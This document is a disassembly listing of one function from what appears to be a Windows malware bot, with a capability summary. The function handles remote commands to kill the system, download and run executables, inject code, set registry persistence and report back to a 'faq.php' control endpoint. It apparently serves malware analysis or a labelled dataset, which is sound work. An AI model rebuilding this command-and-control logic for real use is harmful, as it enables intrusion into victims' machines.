Function at 0x10014950
Capabilities:
Create process on windows
Create thread
Delete file
Delete registry value
Get common file path
Set file attributes
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
push esi
mov esi, eax
mov dword [ebp - 8], esi
test esi, esi
je 0x10015582
push edi
lea eax, [ebp - 0x314]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x210]
push ecx
push 0
push 0
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._kill_os
push esi
call edi
add esp, 8
test eax, eax
je 0x10014a8e
mov eax, 0x1004c600
mov dword [ebp - 0x10c], 0x3d6469
mov edx, eax
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100149c0
lea edi, [ebp - 0x10c]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100149d0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x10c]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100149f0
mov ecx, dword [str.ret_valok]
mov edx, dword [0x100479ec]
mov dword [eax], ecx
mov ecx, dword [0x100479f0]
mov dword [eax + 4], edx
mov dword [eax + 8], ecx
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
jmp 0x10014a20
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014a20
push 0
push 1
sub eax, edx
push eax
lea edx, [ebp - 0x10c]
push edx
push 1
lea eax, [ebp - 0x210]
push eax
push str._faq.php
call fcn.100135a0
push eax
call fcn.100139c0
push 0
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.100123a0
call fcn.10012140
push 0
push 0
push 0x64
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
push str._activebc
push esi
call edi
add esp, 8
test eax, eax
je 0x10014c2a
push str._activebc
push esi
mov esi, dword [sym.imp.MSVCRT.dll_strstr]
call esi
lea ebx, [eax + 0xa]
push 0x10047a0c
push ebx
mov dword [ebp - 8], eax
call esi
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10014c2a
push 0x80000002
mov edi, 0x10058b2c
mov eax, ebx
mov byte [esi], 0
call fcn.10006e70
test eax, eax
jne 0x10014aef
push 0x80000001
mov eax, ebx
call fcn.10006e70
push 0x80000002
mov edi, 0x10058c30
lea eax, [esi + 1]
mov byte [esi], 0x3a
call fcn.10006e70
test eax, eax
jne 0x10014b15
push 0x80000001
lea eax, [esi + 1]
call fcn.10006e70
push str.GlobalEAF799BF_8449_4fe1_9A0D_95CD39DC2014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x10014c2a
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10014b63
test byte [ebp - 4], 2
jne 0x10014b63
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
mov dword [ebp - 0x10c], 0x3d6469
call fcn.100032f0
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10014b76
lea edi, [ebp - 0x10c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014b88
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x10c]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014ba5
mov ecx, dword [str.activebcok]
mov edx, dword [0x10047a14]
mov dword [eax], ecx
mov ecx, dword [0x10047a18]
mov dword [eax + 4], edx
mov dl, byte [0x10047a1c]
mov dword [eax + 8], ecx
mov byte [eax + 0xc], dl
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014be0
push 0
push 1
sub eax, edx
push eax
lea eax, [ebp - 0x10c]
push eax
push 1
lea ecx, [ebp - 0x210]
push ecx
push str._faq.php
call fcn.100135a0
push eax
call fcn.100139c0
push 0
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [ebp - 8]
push str._deactivebc
push ecx
call dword [sym.imp.MSVCRT.dll_strstr]
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 8
test eax, eax
je 0x10014efb
push 0x103
xor esi, esi
lea edx, [ebp - 0x417]
push esi
push edx
mov byte [ebp - 0x418], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x102
push esi
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], esi
call edi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test eax, eax
jne 0x10014ca7
mov ecx, dword [ebp - 4]
push 0x10058b2c
push ecx
call ebx
test eax, eax
jne 0x10014ca7
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or esi, 0xffffffff
mov eax, dword [ebp - 4]
test eax, eax
je 0x10014cb5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10014d19
push 0x103
lea eax, [ebp - 0x417]
push esi
push eax
mov byte [ebp - 0x418], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push 0x102
push esi
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], esi
call edi
test eax, eax
jne 0x10014d0b
mov edx, dword [ebp - 4]
push 0x10058b2c
push edx
call ebx
test eax, eax
jne 0x10014d0b
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10014d19
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x103
xor esi, esi
lea ecx, [ebp - 0x417]
push esi
push ecx
mov byte [ebp - 0x418], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 4]
push edx
push 0x102
push esi
push str.softwaremicrosoft
push 0x80000002
mov dword [ebp - 4], esi
call edi
test eax, eax
jne 0x10014d70
mov eax, dword [ebp - 4]
push 0x10058c30
push eax
call ebx
test eax, eax
jne 0x10014d70
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
or esi, 0xffffffff
mov eax, dword [ebp - 4]
test eax, eax
je 0x10014d7e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x10014de2
push 0x103
lea edx, [ebp - 0x417]
push esi
push edx
mov byte [ebp - 0x418], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 0x102
push esi
push str.softwaremicrosoft
push 0x80000001
mov dword [ebp - 4], esi
call edi
test eax, eax
jne 0x10014dd4
mov ecx, dword [ebp - 4]
push 0x10058c30
push ecx
call ebx
test eax, eax
jne 0x10014dd4
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
test eax, eax
je 0x10014de2
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.GlobalEAF799BF_8249_4fe1_9A0D_92CD3CC22014
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
test esi, esi
je 0x10014efb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea eax, [ebp - 4]
push eax
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x10014e30
test byte [ebp - 4], 2
jne 0x10014e30
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
mov dword [ebp - 0x10c], 0x3d6469
call fcn.100032f0
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10014e43
lea edi, [ebp - 0x10c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10014e55
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x10c]
rep movsb byte es:[edi], byte [esi]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10014e72
mov ecx, dword [str.deactivebcok]
mov edx, dword [0x10047a30]
mov dword [eax], ecx
mov ecx, dword [0x10047a34]
mov dword [eax + 4], edx
mov dx, word [0x10047a38]
mov dword [eax + 8], ecx
mov cl, byte [0x10047a3a]
mov word [eax + 0xc], dx
mov byte [eax + 0xe], cl
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10014eb1
push 0
push 1
sub eax, edx
push eax
lea edx, [ebp - 0x10c]
push edx
push 1
lea eax, [ebp - 0x210]
push eax
push str._faq.php
call fcn.100135a0
push eax
call fcn.100139c0
push 0
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [ebp - 8]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
push str._load
push esi
call ebx
add esp, 8
test eax, eax
je 0x1001515e
push str._load
push esi
call ebx
lea esi, [eax + 6]
push 0x100436b4
push esi
mov dword [ebp - 8], eax
call ebx
mov edi, eax
add esp, 0x10
test edi, edi
je 0x10014f39
mov byte [edi], 0
add esi, 7
lea edx, [ebp - 0x51c]
mov eax, esi
sub edx, esi
mov cl, byte [eax]
mov byte [eax + edx], cl
inc eax
test cl, cl
jne 0x10014f46
push 0x10047a44
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x10015580
push 0x10047a48
push ebx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
mov dword [ebp - 4], eax
test eax, eax
je 0x10015580
lea ecx, [ebp - 0x51c]
push 0x10047a48
push ecx
mov byte [eax], 0
call dword [sym.imp.MSVCRT.dll_strstr]
mov esi, eax
mov byte [esi], 0
add esp, 8
inc esi
test edi, edi
je 0x10014fa8
mov byte [edi], 0xa
lea edx, [ebp - 0x51c]
push 0x10047a44
push edx
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10015580
mov byte [eax], 0
lea eax, [ebp - 0x314]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x210]
push ecx
push 0
push 0
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x210]
dec eax
lea esp, [esp]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015000
mov ecx, dword [str..exe]
mov dl, byte [0x1004360c]
mov dword [eax], ecx
mov byte [eax + 4], dl
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015020
push 0
push 1
sub eax, edx
push eax
push esi
push 1
lea eax, [ebp - 0x210]
push eax
push ebx
lea ecx, [ebp - 0x51c]
push ecx
call fcn.100139c0
test eax, eax
je 0x1001514f
push 5
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jbe 0x1001514f
push 0
mov dword [ebp - 0x10c], 0x3d6469
call fcn.100032f0
mov ecx, eax
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015078
lea edi, [ebp - 0x10c]
sub eax, ecx
mov esi, ecx
dec edi
lea ebx, [ebx]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015090
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x10c]
rep movsb byte es:[edi], byte [esi]
dec eax
lea ecx, [ecx]
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100150b0
mov ecx, dword [str.loadok]
mov edx, dword [0x10047a50]
mov dword [eax], ecx
mov cl, byte [0x10047a54]
mov dword [eax + 4], edx
lea edx, [ebp - 0x314]
push edx
push 0x104
mov byte [eax + 8], cl
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x210]
push eax
push 0
push 0
lea ecx, [ebp - 0x314]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015105
push 0
push 1
sub eax, edx
push eax
lea edx, [ebp - 0x10c]
push edx
push 1
lea eax, [ebp - 0x210]
push eax
push str._faq.php
call fcn.100135a0
push eax
call fcn.100139c0
push 0
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
mov esi, dword [ebp - 8]
mov byte [eax], 0x3f
push str._inject_n
push esi
call ebx
add esp, 8
test eax, eax
je 0x10015353
mov ecx, dword [ebp - 8]
mov edi, dword [sym.imp.MSVCRT.dll_strstr]
push str._inject_n
push ecx
call edi
lea esi, [eax + 8]
push 0x100436b4
push esi
mov dword [ebp - 8], esi
call edi
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x10015580
mov eax, esi
mov byte [ebx], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100151a5
sub eax, edx
je 0x10015580
lea edi, [eax + 0x13]
and edi, 0xfffffff0
push edi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x10015580
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov edx, dword [ebp - 8]
add esp, 0xc
push esi
push edx
call fcn.100427a0
lea eax, [ebp - 0x314]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x210]
push ecx
push 0
push 0
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, esi
lea ecx, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015220
sub eax, ecx
push eax
push esi
lea eax, [ebp - 0x210]
call fcn.100064d0
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
lea esi, [ebp - 0x210]
call fcn.100106f0
mov byte [ebx], 0xa
push 0
mov dword [ebp - 0x10c], 0x3d6469
call fcn.100032f0
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x10015270
lea edi, [ebp - 0x10c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10015282
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x10c]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x100152a0
mov ecx, dword [str.injectok]
mov edx, dword [0x10047a68]
mov dword [eax], ecx
mov cx, word [0x10047a6c]
mov dword [eax + 4], edx
mov dl, byte [0x10047a6e]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [ebp - 0x314]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x210]
push ecx
push 0
push 0
lea edx, [ebp - 0x314]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015300
push 0
push 1
sub eax, edx
push eax
lea eax, [ebp - 0x10c]
push eax
push 1
lea ecx, [ebp - 0x210]
push ecx
push str._faq.php
call fcn.100135a0
push eax
call fcn.100139c0
push 0
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ebx, dword [sym.imp.MSVCRT.dll_strstr]
mov esi, dword [ebp - 8]
push str._new_config
push esi
call ebx
add esp, 8
test eax, eax
je 0x10015580
push str._new_config
push esi
call ebx
mov esi, eax
add esp, 8
add esi, 0xc
je 0x10015580
inc esi
push 0x10058208
mov eax, esi
call fcn.10013460
push 0
push 0
push 0
push 0x100142c0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
test edi, edi
je 0x100153c7
lea ecx, [ebp - 4]
push ecx
push edi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x100153c7
test byte [ebp - 4], 2
jne 0x100153c7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x100436b4
push esi
call ebx
mov esi, eax
add esp, 8
test esi, esi
je 0x10015580
mov edi, dword [sym.imp.MSVCRT.dll_atoi]
inc esi
push esi
call edi
add esp, 4
lea edx, [ebp - 4]
push edx
push 0x20106
push 0
push str.softwaremicrosoft
mov dword [ebp - 8], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x10015447
mov ecx, dword [ebp - 4]
push 4
lea eax, [ebp - 8]
push eax
push 4
push 0
push 0x10059b6c
push ecx
call ebx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x100436b4
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
je 0x10015580
inc eax
push eax
call edi
add esp, 4
lea ecx, [ebp - 4]
push ecx
push 0x20106
push 0
push str.softwaremicrosoft
mov dword [ebp - 8], eax
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb eax, eax
neg eax
add eax, 0x80000001
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100154bc
push 4
lea edx, [ebp - 8]
push edx
push 4
push eax
mov eax, dword [ebp - 4]
push 0x10059c70
push eax
call ebx
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
mov dword [ebp - 0x10c], 0x3d6469
call fcn.100032f0
mov ecx, eax
nop
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x100154d0
lea edi, [ebp - 0x10c]
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x100154e2
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
lea eax, [ebp - 0x10c]
rep movsb byte es:[edi], byte [esi]
dec eax
nop
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x10015500
mov ecx, dword [str.configok]
mov edx, dword [0x10047a80]
mov dword [eax], ecx
mov cx, word [0x10047a84]
mov dword [eax + 4], edx
mov dl, byte [0x10047a86]
mov word [eax + 8], cx
mov byte [eax + 0xa], dl
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10015536
push 0
push 1
sub eax, edx
push eax
lea eax, [ebp - 0x10c]
push eax
push 1
lea ecx, [ebp - 0x210]
push ecx
push str._faq.php
call fcn.100135a0
push eax
call fcn.100139c0
push 0
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
ret